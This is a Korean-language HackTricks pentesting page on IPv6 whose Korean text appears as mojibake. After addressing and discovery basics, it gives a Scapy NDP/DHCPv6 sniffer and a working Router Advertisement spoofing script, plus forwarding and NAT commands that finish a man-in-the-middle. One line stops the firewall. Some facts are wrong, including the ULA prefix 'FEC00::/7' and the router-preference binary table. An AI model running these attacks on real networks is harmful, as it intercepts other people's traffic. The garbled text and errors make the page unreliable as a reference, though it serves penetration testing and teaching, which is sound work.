Pentesting IPv6

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

IPv6 ๊ธฐ๋ณธ ์ด๋ก 

๋„คํŠธ์›Œํฌ

IPv6 ์ฃผ์†Œ๋Š” ๋„คํŠธ์›Œํฌ ์กฐ์ง ๋ฐ ์žฅ์น˜ ์ƒํ˜ธ ์ž‘์šฉ์„ ํ–ฅ์ƒ์‹œํ‚ค๊ธฐ ์œ„ํ•ด ๊ตฌ์กฐํ™”๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. IPv6 ์ฃผ์†Œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๋‚˜๋‰ฉ๋‹ˆ๋‹ค:

  1. ๋„คํŠธ์›Œํฌ ์ ‘๋‘์‚ฌ: ๋„คํŠธ์›Œํฌ ์„ธ๊ทธ๋จผํŠธ๋ฅผ ๊ฒฐ์ •ํ•˜๋Š” ์ฒ˜์Œ 48๋น„ํŠธ.
  2. ์„œ๋ธŒ๋„ท ID: ๋„คํŠธ์›Œํฌ ๋‚ด ํŠน์ • ์„œ๋ธŒ๋„ท์„ ์ •์˜ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋˜๋Š” ๋‹ค์Œ 16๋น„ํŠธ.
  3. ์ธํ„ฐํŽ˜์ด์Šค ์‹๋ณ„์ž: ์„œ๋ธŒ๋„ท ๋‚ด์—์„œ ์žฅ์น˜๋ฅผ ๊ณ ์œ ํ•˜๊ฒŒ ์‹๋ณ„ํ•˜๋Š” ๋งˆ์ง€๋ง‰ 64๋น„ํŠธ.

IPv6๋Š” IPv4์—์„œ ๋ฐœ๊ฒฌ๋˜๋Š” ARP ํ”„๋กœํ† ์ฝœ์„ ์ƒ๋žตํ•˜์ง€๋งŒ, ๋‘ ๊ฐ€์ง€ ์ฃผ์š” ๋ฉ”์‹œ์ง€๋ฅผ ๊ฐ€์ง„ ICMPv6๋ฅผ ๋„์ž…ํ•ฉ๋‹ˆ๋‹ค:

  • ์ด์›ƒ ์š”์ฒญ (NS): ์ฃผ์†Œ ํ•ด๊ฒฐ์„ ์œ„ํ•œ ๋ฉ€ํ‹ฐ์บ์ŠคํŠธ ๋ฉ”์‹œ์ง€.
  • ์ด์›ƒ ๊ด‘๊ณ  (NA): NS์— ๋Œ€ํ•œ ์œ ๋‹ˆ์บ์ŠคํŠธ ์‘๋‹ต ๋˜๋Š” ์ž๋ฐœ์ ์ธ ๋ฐœํ‘œ.

IPv6๋Š” ๋˜ํ•œ ํŠน๋ณ„ํ•œ ์ฃผ์†Œ ์œ ํ˜•์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค:

  • ๋ฃจํ”„๋ฐฑ ์ฃผ์†Œ (::1): IPv4์˜ 127.0.0.1์— ํ•ด๋‹นํ•˜๋ฉฐ, ํ˜ธ์ŠคํŠธ ๋‚ด์—์„œ์˜ ๋‚ด๋ถ€ ํ†ต์‹ ์„ ์œ„ํ•ด ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.
  • ๋งํฌ-๋กœ์ปฌ ์ฃผ์†Œ (FE80::/10): ์ธํ„ฐ๋„ท ๋ผ์šฐํŒ…์ด ์•„๋‹Œ ๋กœ์ปฌ ๋„คํŠธ์›Œํฌ ํ™œ๋™์„ ์œ„ํ•ด ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ๋™์ผํ•œ ๋กœ์ปฌ ๋„คํŠธ์›Œํฌ์˜ ์žฅ์น˜๋“ค์€ ์ด ๋ฒ”์œ„๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์„œ๋กœ๋ฅผ ๋ฐœ๊ฒฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋„คํŠธ์›Œํฌ ๋ช…๋ น์—์„œ์˜ IPv6 ์‹ค์šฉ ์‚ฌ์šฉ

IPv6 ๋„คํŠธ์›Œํฌ์™€ ์ƒํ˜ธ ์ž‘์šฉํ•˜๊ธฐ ์œ„ํ•ด ๋‹ค์–‘ํ•œ ๋ช…๋ น์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  • ๋งํฌ-๋กœ์ปฌ ์ฃผ์†Œ ํ•‘: ping6๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋กœ์ปฌ ์žฅ์น˜์˜ ์กด์žฌ๋ฅผ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค.
  • ์ด์›ƒ ๋ฐœ๊ฒฌ: ip neigh๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋งํฌ ๊ณ„์ธต์—์„œ ๋ฐœ๊ฒฌ๋œ ์žฅ์น˜๋ฅผ ๋ด…๋‹ˆ๋‹ค.
  • alive6: ๋™์ผํ•œ ๋„คํŠธ์›Œํฌ์—์„œ ์žฅ์น˜๋ฅผ ๋ฐœ๊ฒฌํ•˜๊ธฐ ์œ„ํ•œ ๋Œ€์ฒด ๋„๊ตฌ์ž…๋‹ˆ๋‹ค.

์•„๋ž˜๋Š” ๋ช‡ ๊ฐ€์ง€ ๋ช…๋ น ์˜ˆ์‹œ์ž…๋‹ˆ๋‹ค:

ping6 โ€“I eth0 -c 5 ff02::1 > /dev/null 2>&1
ip neigh | grep ^fe80

# Alternatively, use alive6 for neighbor discovery
alive6 eth0

IPv6 ์ฃผ์†Œ๋Š” ๋กœ์ปฌ ํ†ต์‹ ์„ ์œ„ํ•ด ์žฅ์น˜์˜ MAC ์ฃผ์†Œ์—์„œ ํŒŒ์ƒ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค์Œ์€ ์•Œ๋ ค์ง„ MAC ์ฃผ์†Œ์—์„œ Link-local IPv6 ์ฃผ์†Œ๋ฅผ ํŒŒ์ƒํ•˜๋Š” ๋ฐฉ๋ฒ•์— ๋Œ€ํ•œ ๊ฐ„๋‹จํ•œ ๊ฐ€์ด๋“œ์™€ ๋„คํŠธ์›Œํฌ ๋‚ด์—์„œ IPv6 ์ฃผ์†Œ๋ฅผ ๋ฐœ๊ฒฌํ•˜๋Š” ๋ฐฉ๋ฒ• ๋ฐ IPv6 ์ฃผ์†Œ ์œ ํ˜•์— ๋Œ€ํ•œ ๊ฐ„๋žตํ•œ ๊ฐœ์š”์ž…๋‹ˆ๋‹ค.

์ฃผ์–ด์ง„ MAC ์ฃผ์†Œ **12:34:56:78:9a:bc**๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ Link-local IPv6 ์ฃผ์†Œ๋ฅผ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๊ตฌ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  1. MAC์„ IPv6 ํ˜•์‹์œผ๋กœ ๋ณ€ํ™˜: 1234:5678:9abc
  2. fe80::๋ฅผ ์•ž์— ๋ถ™์ด๊ณ  ์ค‘๊ฐ„์— fffe๋ฅผ ์‚ฝ์ž…: fe80::1234:56ff:fe78:9abc
  3. ์™ผ์ชฝ์—์„œ ์ผ๊ณฑ ๋ฒˆ์งธ ๋น„ํŠธ๋ฅผ ๋ฐ˜์ „์‹œ์ผœ 1234๋ฅผ 1034๋กœ ๋ณ€๊ฒฝ: fe80::1034:56ff:fe78:9abc

IPv6 ์ฃผ์†Œ ์œ ํ˜•

  • Unique Local Address (ULA): ๋กœ์ปฌ ํ†ต์‹ ์„ ์œ„ํ•œ ๊ฒƒ์œผ๋กœ, ๊ณต์šฉ ์ธํ„ฐ๋„ท ๋ผ์šฐํŒ…์„ ์œ„ํ•œ ๊ฒƒ์ด ์•„๋‹™๋‹ˆ๋‹ค. ์ ‘๋‘์‚ฌ: FEC00::/7
  • Multicast Address: ์ผ๋Œ€๋‹ค ํ†ต์‹ ์„ ์œ„ํ•œ ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๋ฉ€ํ‹ฐ์บ์ŠคํŠธ ๊ทธ๋ฃน์˜ ๋ชจ๋“  ์ธํ„ฐํŽ˜์ด์Šค์— ์ „๋‹ฌ๋ฉ๋‹ˆ๋‹ค. ์ ‘๋‘์‚ฌ: FF00::/8
  • Anycast Address: ์ผ๋Œ€๊ฐ€์žฅ ๊ฐ€๊นŒ์šด ํ†ต์‹ ์„ ์œ„ํ•œ ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๋ผ์šฐํŒ… ํ”„๋กœํ† ์ฝœ์— ๋”ฐ๋ผ ๊ฐ€์žฅ ๊ฐ€๊นŒ์šด ์ธํ„ฐํŽ˜์ด์Šค๋กœ ์ „์†ก๋ฉ๋‹ˆ๋‹ค. 2000::/3 ๊ธ€๋กœ๋ฒŒ ์œ ๋‹ˆ์บ์ŠคํŠธ ๋ฒ”์œ„์˜ ์ผ๋ถ€์ž…๋‹ˆ๋‹ค.

์ฃผ์†Œ ์ ‘๋‘์‚ฌ

  • fe80::/10: Link-Local ์ฃผ์†Œ (169.254.x.x์™€ ์œ ์‚ฌ)
  • fc00::/7: Unique Local-Unicast (10.x.x.x, 172.16.x.x, 192.168.x.x์™€ ๊ฐ™์€ ์‚ฌ์„ค IPv4 ๋ฒ”์œ„์™€ ์œ ์‚ฌ)
  • 2000::/3: ๊ธ€๋กœ๋ฒŒ ์œ ๋‹ˆ์บ์ŠคํŠธ
  • ff02::1: ๋ชจ๋“  ๋…ธ๋“œ์— ๋Œ€ํ•œ ๋ฉ€ํ‹ฐ์บ์ŠคํŠธ
  • ff02::2: ๋ผ์šฐํ„ฐ ๋…ธ๋“œ์— ๋Œ€ํ•œ ๋ฉ€ํ‹ฐ์บ์ŠคํŠธ

๋„คํŠธ์›Œํฌ ๋‚ด์—์„œ IPv6 ์ฃผ์†Œ ๋ฐœ๊ฒฌํ•˜๊ธฐ

  1. ๋„คํŠธ์›Œํฌ ๋‚ด ์žฅ์น˜์˜ MAC ์ฃผ์†Œ๋ฅผ ์–ป์Šต๋‹ˆ๋‹ค.
  2. MAC ์ฃผ์†Œ์—์„œ Link-local IPv6 ์ฃผ์†Œ๋ฅผ ํŒŒ์ƒํ•ฉ๋‹ˆ๋‹ค.

๋ฐฉ๋ฒ• 2: ๋ฉ€ํ‹ฐ์บ์ŠคํŠธ ์‚ฌ์šฉ

  1. ๋กœ์ปฌ ๋„คํŠธ์›Œํฌ์—์„œ IPv6 ์ฃผ์†Œ๋ฅผ ๋ฐœ๊ฒฌํ•˜๊ธฐ ์œ„ํ•ด ๋ฉ€ํ‹ฐ์บ์ŠคํŠธ ์ฃผ์†Œ ff02::1์— ํ•‘์„ ๋ณด๋ƒ…๋‹ˆ๋‹ค.
service ufw stop # Stop the firewall
ping6 -I <IFACE> ff02::1 # Send a ping to multicast address
ip -6 neigh # Display the neighbor table

IPv6 Man-in-the-Middle (MitM) Attacks

IPv6 ๋„คํŠธ์›Œํฌ์—์„œ MitM ๊ณต๊ฒฉ์„ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•œ ์—ฌ๋Ÿฌ ๊ธฐ์ˆ ์ด ์กด์žฌํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด:

  • ICMPv6 ์ด์›ƒ ๋˜๋Š” ๋ผ์šฐํ„ฐ ๊ด‘๊ณ  ์Šคํ‘ธํ•‘.
  • ICMPv6 ๋ฆฌ๋””๋ ‰์…˜ ๋˜๋Š” โ€œํŒจํ‚ท์ด ๋„ˆ๋ฌด ํฝ๋‹ˆ๋‹คโ€ ๋ฉ”์‹œ์ง€๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋ผ์šฐํŒ… ์กฐ์ž‘.
  • ๋ชจ๋ฐ”์ผ IPv6 ๊ณต๊ฒฉ (์ผ๋ฐ˜์ ์œผ๋กœ IPSec ๋น„ํ™œ์„ฑํ™” ํ•„์š”).
  • ์•…์„ฑ DHCPv6 ์„œ๋ฒ„ ์„ค์ •.

Identifying IPv6 Addresses in the eild

Exploring Subdomains

IPv6 ์ฃผ์†Œ์™€ ์ž ์žฌ์ ์œผ๋กœ ์—ฐ๊ฒฐ๋œ ์„œ๋ธŒ ๋„๋ฉ”์ธ์„ ์ฐพ๋Š” ๋ฐฉ๋ฒ•์€ ๊ฒ€์ƒ‰ ์—”์ง„์„ ํ™œ์šฉํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, ipv6.*์™€ ๊ฐ™์€ ์ฟผ๋ฆฌ ํŒจํ„ด์„ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์ด ํšจ๊ณผ์ ์ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ตฌ์ฒด์ ์œผ๋กœ, ๋‹ค์Œ ๊ฒ€์ƒ‰ ๋ช…๋ น์„ Google์—์„œ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

site:ipv6./

DNS ์ฟผ๋ฆฌ ํ™œ์šฉ

IPv6 ์ฃผ์†Œ๋ฅผ ์‹๋ณ„ํ•˜๊ธฐ ์œ„ํ•ด ํŠน์ • DNS ๋ ˆ์ฝ”๋“œ ์œ ํ˜•์„ ์ฟผ๋ฆฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  • AXFR: ์ „์ฒด ์กด ์ „์†ก์„ ์š”์ฒญํ•˜์—ฌ ๋‹ค์–‘ํ•œ DNS ๋ ˆ์ฝ”๋“œ๋ฅผ ๋ฐœ๊ฒฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • AAAA: IPv6 ์ฃผ์†Œ๋ฅผ ์ง์ ‘ ์ฐพ์Šต๋‹ˆ๋‹ค.
  • ANY: ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ ๋ชจ๋“  DNS ๋ ˆ์ฝ”๋“œ๋ฅผ ๋ฐ˜ํ™˜ํ•˜๋Š” ๊ด‘๋ฒ”์œ„ํ•œ ์ฟผ๋ฆฌ์ž…๋‹ˆ๋‹ค.

Ping6๋กœ ํ”„๋กœ๋น™

์กฐ์ง๊ณผ ๊ด€๋ จ๋œ IPv6 ์ฃผ์†Œ๋ฅผ ํ™•์ธํ•œ ํ›„, ping6 ์œ ํ‹ธ๋ฆฌํ‹ฐ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํ”„๋กœ๋น™ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋„๊ตฌ๋Š” ์‹๋ณ„๋œ IPv6 ์ฃผ์†Œ์˜ ์‘๋‹ต์„ฑ์„ ํ‰๊ฐ€ํ•˜๋Š” ๋ฐ ๋„์›€์„ ์ฃผ๋ฉฐ, ์ธ์ ‘ํ•œ IPv6 ์žฅ์น˜๋ฅผ ๋ฐœ๊ฒฌํ•˜๋Š” ๋ฐ๋„ ๋„์›€์ด ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

IPv6 ๋กœ์ปฌ ๋„คํŠธ์›Œํฌ ๊ณต๊ฒฉ ๊ธฐ์ˆ 

๋‹ค์Œ ์„น์…˜์—์„œ๋Š” ๊ฐ™์€ /64 ์„ธ๊ทธ๋จผํŠธ ๋‚ด์—์„œ ๊ธ€๋กœ๋ฒŒ ์ ‘๋‘์‚ฌ๋ฅผ ์•Œ์ง€ ๋ชปํ•œ ์ฑ„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” ์‹ค์šฉ์ ์ธ ๋ ˆ์ด์–ด-2 IPv6 ๊ณต๊ฒฉ์„ ๋‹ค๋ฃน๋‹ˆ๋‹ค. ์•„๋ž˜์— ํ‘œ์‹œ๋œ ๋ชจ๋“  ํŒจํ‚ท์€ ๋งํฌ-๋กœ์ปฌ์ด๋ฉฐ, ๋กœ์ปฌ ์Šค์œ„์น˜๋ฅผ ํ†ตํ•ด์„œ๋งŒ ์ด๋™ํ•˜๋ฏ€๋กœ ๋Œ€๋ถ€๋ถ„์˜ ํ™˜๊ฒฝ์—์„œ ๋งค์šฐ ์€๋ฐ€ํ•ฉ๋‹ˆ๋‹ค.

์•ˆ์ •์ ์ธ ์‹คํ—˜์‹ค์„ ์œ„ํ•œ ์‹œ์Šคํ…œ ์กฐ์ •

IPv6 ํŠธ๋ž˜ํ”ฝ์„ ๋‹ค๋ฃจ๊ธฐ ์ „์—, ์ž์‹ ์˜ ํ…Œ์ŠคํŠธ๋กœ ์ธํ•ด ์˜ค์—ผ๋˜๋Š” ๊ฒƒ์„ ํ”ผํ•˜๊ณ  ๋Œ€๋Ÿ‰ ํŒจํ‚ท ์ฃผ์ž…/์Šค๋‹ˆํ•‘ ์ค‘ ์ตœ์ƒ์˜ ์„ฑ๋Šฅ์„ ์–ป๊ธฐ ์œ„ํ•ด ์‹œ์Šคํ…œ์„ ๊ฐ•ํ™”ํ•˜๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค.

# Enable promiscuous mode to capture all frames
sudo ip link set dev eth0 promisc on

# Ignore rogue Router Advertisements & Redirects coming from the segment
sudo sysctl -w net.ipv6.conf.all.accept_ra=0
sudo sysctl -w net.ipv6.conf.all.accept_redirects=0

# Increase fd / backlog limits when generating lots of traffic
sudo sysctl -w fs.file-max=100000
sudo sysctl -w net.core.somaxconn=65535
sudo sysctl -w net.ipv4.tcp_tw_reuse=1

Passive NDP & DHCPv6 Sniffing

๋ชจ๋“  IPv6 ํ˜ธ์ŠคํŠธ๊ฐ€ ์ž๋™์œผ๋กœ ์—ฌ๋Ÿฌ ๋ฉ€ํ‹ฐ์บ์ŠคํŠธ ๊ทธ๋ฃน์— ๊ฐ€์ž…ํ•˜๊ณ  (ff02::1, ff02::2, โ€ฆ) SLAAC/NDP๋ฅผ ์œ„ํ•ด ICMPv6๋ฅผ ์‚ฌ์šฉํ•˜๊ธฐ ๋•Œ๋ฌธ์—, ๋‹จ์ผ ํŒจํ‚ท์„ ์ „์†กํ•˜์ง€ ์•Š๊ณ ๋„ ์ „์ฒด ์„ธ๊ทธ๋จผํŠธ๋ฅผ ๋งคํ•‘ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค์Œ์˜ Python/Scapy ์›๋ผ์ด๋„ˆ๋Š” ๊ฐ€์žฅ ํฅ๋ฏธ๋กœ์šด L2 ๋ฉ”์‹œ์ง€๋ฅผ ์ˆ˜์‹ ํ•˜๊ณ  ๋ˆ„๊ฐ€ ๋ˆ„๊ตฌ์ธ์ง€์— ๋Œ€ํ•œ ์ƒ‰์ƒ ์žˆ๋Š” ํƒ€์ž„์Šคํƒฌํ”„ ๋กœ๊ทธ๋ฅผ ์ถœ๋ ฅํ•ฉ๋‹ˆ๋‹ค:

#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.dhcp6 import *
from datetime import datetime
from colorama import Fore, Style, init
import argparse

init(autoreset=True)

# Human-readable names for protocols we care about
DHCP6_TYPES = {
DHCP6_Solicit:    'Solicit',
DHCP6_Advertise:  'Advertise',
DHCP6_Request:    'Request',
DHCP6_Reply:      'Reply',
DHCP6_Renew:      'Renew',
DHCP6_Rebind:     'Rebind',
DHCP6_RelayForward:'Relay-Forward',
DHCP6_RelayReply: 'Relay-Reply'
}
ICMP6_TYPES = {
ICMPv6ND_RS:      ('Router Solicitation',  Fore.CYAN),
ICMPv6ND_RA:      ('Router Advertisement', Fore.GREEN),
ICMPv6ND_NS:      ('Neighbor Solicitation',Fore.BLUE),
ICMPv6ND_NA:      ('Neighbor Advertisement',Fore.MAGENTA),
ICMPv6ND_Redirect:('Redirect',             Fore.LIGHTRED_EX),
ICMPv6MLReport:   ('MLD Report',           Fore.LIGHTCYAN_EX),
ICMPv6MLReport2:  ('MLD Report',           Fore.LIGHTCYAN_EX),
ICMPv6MLDone:     ('MLD Done',             Fore.LIGHTCYAN_EX),
ICMPv6EchoRequest:('Echo Request',         Fore.LIGHTBLACK_EX),
ICMPv6EchoReply:  ('Echo Reply',           Fore.LIGHTBLACK_EX)
}

def handler(pkt):
eth_src = pkt[Ether].src if Ether in pkt else '?'
eth_dst = pkt[Ether].dst if Ether in pkt else '?'
ip6_src = pkt[IPv6].src if IPv6 in pkt else '?'
ip6_dst = pkt[IPv6].dst if IPv6 in pkt else '?'

# Identify protocol family first
for proto,(desc,color) in ICMP6_TYPES.items():
if proto in pkt:
break
else:
if UDP in pkt and pkt[UDP].dport == 547:  # DHCPv6 server port
for dhcp_t,name in DHCP6_TYPES.items():
if dhcp_t in pkt:
desc = 'DHCPv6 โ€“ '+name; color = Fore.YELLOW; break
else:
return  # not a DHCPv6 message we track
else:
return  # not interesting

print(color + f"[{datetime.now().strftime('%H:%M:%S')}] {desc}")
print(f"  MAC  {eth_src} -> {eth_dst}")
print(f"  IPv6 {ip6_src} -> {ip6_dst}")
print('-'*60)

if __name__ == '__main__':
argp = argparse.ArgumentParser(description='IPv6 NDP & DHCPv6 sniffer')
argp.add_argument('-i','--interface',required=True,help='Interface to sniff')
argp.add_argument('-t','--time',type=int,default=0,help='Duration (0 = infinite)')
a = argp.parse_args()
sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0)

๊ฒฐ๊ณผ: ๋ช‡ ์ดˆ ๋งŒ์— ์ „์ฒด ๋งํฌ ๋กœ์ปฌ ํ† ํด๋กœ์ง€ (MAC โ‡„ IPv6)๋ฅผ ์ƒ์„ฑํ•˜๋ฉฐ, ๋Šฅ๋™ ์Šค์บ”์— ์˜์กดํ•˜๋Š” IPS/IDS ์‹œ์Šคํ…œ์„ ํŠธ๋ฆฌ๊ฑฐํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

๋ผ์šฐํ„ฐ ๊ด‘๊ณ  (RA) ์Šคํ‘ธํ•‘

IPv6 ํ˜ธ์ŠคํŠธ๋Š” ๊ธฐ๋ณธ ๊ฒŒ์ดํŠธ์›จ์ด ๊ฒ€์ƒ‰์„ ์œ„ํ•ด ICMPv6 ๋ผ์šฐํ„ฐ ๊ด‘๊ณ ์— ์˜์กดํ•ฉ๋‹ˆ๋‹ค. ์ •ํ’ˆ ๋ผ์šฐํ„ฐ๋ณด๋‹ค ๋” ์ž์ฃผ ์œ„์กฐ๋œ RA๋ฅผ ์ฃผ์ž…ํ•˜๋ฉด, ์žฅ์น˜๋“ค์€ ์กฐ์šฉํžˆ ๋‹น์‹ ์„ ๊ฒŒ์ดํŠธ์›จ์ด๋กœ ์ „ํ™˜ํ•ฉ๋‹ˆ๋‹ค.

#!/usr/bin/env python3
from scapy.all import *
import argparse

p = argparse.ArgumentParser()
p.add_argument('-i','--interface',required=True)
p.add_argument('-m','--mac',required=True,help='Source MAC (will be put in SrcLL option)')
p.add_argument('--llip',required=True,help='Link-local source IP, e.g. fe80::dead:beef')
p.add_argument('-l','--lifetime',type=int,default=1800,help='Router lifetime')
p.add_argument('--interval',type=int,default=5,help='Seconds between RAs')
p.add_argument('--revert',action='store_true',help='Send lifetime=0 to undo attack')
args = p.parse_args()

lifetime = 0 if args.revert else args.lifetime
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=lifetime, prf=0x1)/  # High preference
ICMPv6NDOptSrcLLAddr(lladdr=args.mac))

send(ra,iface=args.interface,loop=1,inter=args.interval)

์‹ค์ œ๋กœ ํŠธ๋ž˜ํ”ฝ์„ ์ „๋‹ฌํ•˜๋ ค๋ฉด ๊ฒฝ์ฃผ์—์„œ ์ด๊ธด ํ›„:

sudo sysctl -w net.ipv6.conf.all.forwarding=1
sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

๋ผ์šฐํ„ฐ ๊ด‘๊ณ  ํ”Œ๋ž˜๊ทธ (M/O) ๋ฐ ๊ธฐ๋ณธ ๋ผ์šฐํ„ฐ ์„ ํ˜ธ๋„ (Prf)

ํ”Œ๋ž˜๊ทธ์˜๋ฏธํด๋ผ์ด์–ธํŠธ ํ–‰๋™์— ๋ฏธ์น˜๋Š” ์˜ํ–ฅ
M (๊ด€๋ฆฌํ˜• ์ฃผ์†Œ ๊ตฌ์„ฑ)1๋กœ ์„ค์ •๋˜๋ฉด ํ˜ธ์ŠคํŠธ๋Š” DHCPv6๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ IPv6 ์ฃผ์†Œ๋ฅผ ์–ป์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.์ „์ฒด ์ฃผ์†Œ๋Š” DHCPv6์—์„œ ๋‚˜์˜ค๋ฏ€๋กœ mitm6 ์Šคํƒ€์ผ์˜ ์ค‘๋…์— ์ ํ•ฉํ•ฉ๋‹ˆ๋‹ค.
O (๊ธฐํƒ€ ๊ตฌ์„ฑ)1๋กœ ์„ค์ •๋˜๋ฉด ํ˜ธ์ŠคํŠธ๋Š” DHCPv6๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๊ธฐํƒ€ ์ •๋ณด(DNS, NTP ๋“ฑ)๋ฅผ ์–ป์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.์ฃผ์†Œ๋Š” ์—ฌ์ „ํžˆ SLAAC๋ฅผ ํ†ตํ•ด ์ œ๊ณต๋˜์ง€๋งŒ DNS๋Š” DHCPv6๋กœ ํƒˆ์ทจ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
M=0 / O=0์ˆœ์ˆ˜ SLAAC ๋„คํŠธ์›Œํฌ.RA / RDNSS ํŠธ๋ฆญ๋งŒ ๊ฐ€๋Šฅํ•˜๋ฉฐ, ํด๋ผ์ด์–ธํŠธ๋Š” DHCPv6๋ฅผ ์ „์†กํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.
M=1 / O=1ํ˜ผํ•ฉ ํ™˜๊ฒฝ.DHCPv6์™€ SLAAC๊ฐ€ ๋ชจ๋‘ ์‚ฌ์šฉ๋˜๋ฉฐ, ์Šคํ‘ธํ•‘์„ ์œ„ํ•œ ํ‘œ๋ฉด์ด ๊ฐ€์žฅ ํฝ๋‹ˆ๋‹ค.

ํŽœํ…Œ์ŠคํŠธ ์ค‘์— ํ•ฉ๋ฒ•์ ์ธ RA๋ฅผ ํ•œ ๋ฒˆ ๊ฒ€์‚ฌํ•˜๊ณ  ์–ด๋–ค ๋ฒกํ„ฐ๊ฐ€ ์‹คํ–‰ ๊ฐ€๋Šฅํ•œ์ง€ ๊ฒฐ์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

sudo tcpdump -vvv -i eth0 'icmp6 && ip6[40] == 134'   # capture Router Advertisements

๋คํ”„์—์„œ flags [M,O] ํ•„๋“œ๋ฅผ ์ฐพ์œผ์„ธ์š” โ€“ ์ถ”์ธกํ•  ํ•„์š” ์—†์Šต๋‹ˆ๋‹ค.

Prf (๋ผ์šฐํ„ฐ ์„ ํ˜ธ๋„) ํ•„๋“œ๋Š” RA ํ—ค๋” ๋‚ด์—์„œ ๋‹ค์ˆ˜์˜ ๊ฒŒ์ดํŠธ์›จ์ด๊ฐ€ ์กด์žฌํ•  ๋•Œ ๋‹น์‹ ์˜ ์•…์„ฑ ๋ผ์šฐํ„ฐ๊ฐ€ ์–ผ๋งˆ๋‚˜ ๋งค๋ ฅ์ ์œผ๋กœ ๋ณด์ด๋Š”์ง€๋ฅผ ์ œ์–ดํ•ฉ๋‹ˆ๋‹ค:

Prf ๊ฐ’์ด์ง„์ˆ˜์˜๋ฏธ
๋†’์Œ10ํด๋ผ์ด์–ธํŠธ๋Š” ์ด ๋ผ์šฐํ„ฐ๋ฅผ ๋ชจ๋“  ์ค‘๊ฐ„/๋‚ฎ์€ ๋ผ์šฐํ„ฐ๋ณด๋‹ค ์„ ํ˜ธํ•ฉ๋‹ˆ๋‹ค
์ค‘๊ฐ„ (๊ธฐ๋ณธ๊ฐ’)01๊ฑฐ์˜ ๋ชจ๋“  ํ•ฉ๋ฒ•์ ์ธ ์žฅ์น˜์—์„œ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค
๋‚ฎ์Œ00๋” ๋‚˜์€ ๋ผ์šฐํ„ฐ๊ฐ€ ์กด์žฌํ•˜์ง€ ์•Š์„ ๋•Œ๋งŒ ์„ ํƒ๋ฉ๋‹ˆ๋‹ค

Scapy๋กœ ํŒจํ‚ท์„ ์ƒ์„ฑํ•  ๋•Œ ์œ„์™€ ๊ฐ™์ด prf ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ํ†ตํ•ด ์„ค์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (prf=0x1 โ†’ ๋†’์Œ). ๋†’์€ Prf, ์งง์€ ๊ฐ„๊ฒฉ, ๊ทธ๋ฆฌ๊ณ  0์ด ์•„๋‹Œ ์ˆ˜๋ช…์„ ๊ฒฐํ•ฉํ•˜๋ฉด ๋‹น์‹ ์˜ ์•…์„ฑ ๊ฒŒ์ดํŠธ์›จ์ด๊ฐ€ ๋†€๋ผ์šธ ์ •๋„๋กœ ์•ˆ์ •์ ์ž…๋‹ˆ๋‹ค.


